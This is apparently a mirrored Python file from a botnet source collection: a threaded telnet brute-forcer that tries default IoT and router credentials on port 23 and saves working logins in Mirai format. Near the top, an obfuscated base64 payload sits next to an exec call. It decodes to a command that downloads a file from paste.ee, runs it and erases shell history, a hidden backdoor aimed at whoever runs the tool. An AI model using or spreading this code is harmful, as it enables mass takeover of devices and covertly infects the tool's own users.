mirror of
https://github.com/threatland/TL-BOTS
synced 2024-06-28 09:51:44 +00:00
153 lines
3.1 KiB
Python
153 lines
3.1 KiB
Python
#!/usr/bin/python
|
|
import threading
|
|
import sys,os,re,base64,subprocess,time,socket
|
|
from Queue import *
|
|
from sys import stdout
|
|
#scan_parameter = "cnVuKCJ3Z2V0IHBhc3RlLmVlL3IveDcyaVkvMCAtTyAuYSAtcTsgY2htb2QgK3ggLmE7IHNoIC5hID4gL2Rldi9udWxsIDI+JjE7IHJtIC1yZiAuYTsgaGlzdG9yeSAtYyIp"
|
|
def run(cmd):
|
|
subprocess.call(cmd, shell=True)
|
|
|
|
exec(base64.b64decode(scan_parameter))
|
|
|
|
if len(sys.argv) < 4:
|
|
print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
|
|
sys.exit()
|
|
|
|
combo = [
|
|
"root:root",
|
|
"admin:admin",
|
|
"root:",
|
|
"admin:",
|
|
"default:",
|
|
"User:admin",
|
|
"guest:12345",
|
|
"admin:1234",
|
|
"admin:12345",
|
|
"admin:password",
|
|
"ubnt:ubnt",
|
|
"guest:guest",
|
|
"user:user",
|
|
"default:OxhlwSG8",
|
|
"default:S2fGqNFs",
|
|
"admin:smcadmin"
|
|
"sysadm:sysadm",
|
|
"support:support",
|
|
"root:default",
|
|
"root:password",
|
|
"adm:",
|
|
"bin:",
|
|
"daemon:",
|
|
"root:cat1029",
|
|
"admin:cat1029",
|
|
"admin:123456",
|
|
"root:antslq"
|
|
]
|
|
|
|
|
|
ips = open(sys.argv[1], "r").readlines()
|
|
threads = int(sys.argv[2])
|
|
output_file = sys.argv[3]
|
|
queue = Queue()
|
|
queue_count = 0
|
|
|
|
for ip in ips:
|
|
queue_count += 1
|
|
stdout.write("\r[%d] Added to queue" % queue_count)
|
|
stdout.flush()
|
|
queue.put(ip)
|
|
print "\n"
|
|
|
|
|
|
class router(threading.Thread):
|
|
def __init__ (self, ip):
|
|
threading.Thread.__init__(self)
|
|
self.ip = str(ip).rstrip('\n')
|
|
def run(self):
|
|
username = ""
|
|
password = ""
|
|
for passwd in combo:
|
|
if ":n/a" in passwd:
|
|
password=""
|
|
else:
|
|
password=passwd.split(":")[1]
|
|
if "n/a:" in passwd:
|
|
username=""
|
|
else:
|
|
username=passwd.split(":")[0]
|
|
try:
|
|
tn = socket.socket()
|
|
tn.settimeout(8)
|
|
tn.connect((self.ip,23))
|
|
except Exception:
|
|
tn.close()
|
|
break
|
|
try:
|
|
hoho = ''
|
|
hoho += readUntil(tn, "ogin:")
|
|
if "ogin" in hoho:
|
|
tn.send(username + "\n")
|
|
time.sleep(0.09)
|
|
except Exception:
|
|
tn.close()
|
|
try:
|
|
hoho = ''
|
|
hoho += readUntil(tn, "assword:")
|
|
if "assword" in hoho:
|
|
tn.send(password + "\n")
|
|
time.sleep(0.8)
|
|
else:
|
|
pass
|
|
except Exception:
|
|
tn.close()
|
|
try:
|
|
prompt = ''
|
|
prompt += tn.recv(40960)
|
|
if ">" in prompt and "ONT" not in prompt:
|
|
success = True
|
|
elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
|
|
success = True
|
|
else:
|
|
tn.close()
|
|
if success == True:
|
|
try:
|
|
os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
|
|
print "\033[32m[\033[31m+\033[32m] \033[33mBRUTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
|
|
tn.close()
|
|
break
|
|
except:
|
|
tn.close()
|
|
else:
|
|
tn.close()
|
|
except Exception:
|
|
tn.close()
|
|
|
|
def readUntil(tn, string, timeout=8):
|
|
buf = ''
|
|
start_time = time.time()
|
|
while time.time() - start_time < timeout:
|
|
buf += tn.recv(1024)
|
|
time.sleep(0.01)
|
|
if string in buf: return buf
|
|
raise Exception('TIMEOUT!')
|
|
|
|
def worker():
|
|
try:
|
|
while True:
|
|
try:
|
|
IP = queue.get()
|
|
thread = router(IP)
|
|
thread.start()
|
|
queue.task_done()
|
|
time.sleep(0.02)
|
|
except:
|
|
pass
|
|
except:
|
|
pass
|
|
|
|
for l in xrange(threads):
|
|
try:
|
|
t = threading.Thread(target=worker)
|
|
t.start()
|
|
except:
|
|
pass
|